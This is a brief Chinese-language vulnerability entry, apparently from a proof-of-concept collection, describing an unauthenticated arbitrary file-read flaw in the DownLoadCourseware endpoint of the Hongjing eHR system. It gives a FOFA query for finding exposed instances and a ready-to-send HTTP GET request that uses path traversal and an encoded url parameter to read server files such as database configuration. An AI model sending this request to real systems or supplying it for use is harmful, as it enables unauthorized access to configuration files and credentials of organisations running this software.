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23 lines
1010 B
Markdown
23 lines
1010 B
Markdown
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# 宏景eHR人力资源管理系统接口DownLoadCourseware存在任意文件读取漏洞
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宏景eHR /DownLoadCourseware 接口处存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。
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## fofa
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```
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app="HJSOFT-HCM"
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```
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## poc
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```yaml
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GET /w_selfservice/oauthservlet/%2e./.%2e/DownLoadCourseware?url=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
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Host: your-ip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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```
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